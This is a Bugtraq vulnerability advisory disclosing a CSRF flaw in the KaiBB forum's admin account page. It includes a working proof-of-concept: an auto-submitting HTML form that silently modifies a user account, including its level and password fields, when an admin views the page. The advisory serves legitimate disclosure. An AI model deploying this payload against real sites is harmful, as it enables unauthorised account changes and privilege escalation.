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List:       bugtraq
Subject:    HTB22793: XSRF (CSRF) in KaiBB
From:       advisory () htbridge ! ch
Date:       2011-01-27 8:38:00
Message-ID: 201101270838.p0R8c0ld077064 () htbridge ! ch
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Vulnerability ID: HTB22793
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_kaibb.html
Product: KaiBB
Vendor: Mi-Dia ( http://www.kaibb.co.uk/ ) 
Vulnerable Version: 1.0.2 and probably prior versions
Vendor Notification: 13 January 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing \
(http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin/core/account.php" script to \
properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the \
application, theft of cookie-based authentication credentials, disclosure or \
modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is \
available:

<form action="http://host/admin/?area=users&s=account&a=USERID" method="post">
<input type="hidden" name="regemail" value="email@example.com">
<input type="hidden" name="regpass" value="">
<input type="hidden" name="regname" value="test">
<input type="hidden" name="justip" value="0">
<input type="hidden" name="reglevel" value="2">
<input type="hidden" name="rankselect" value="1">
<input type="hidden" name="sfrozen" value="0">
<input type="hidden" name="notes" value="">
<input type="hidden" name="signature" value="">
<input type="submit" id="btn" name="Submit" value="Update">
</form>
<script>
document.getElementById('btn').click();
</script>


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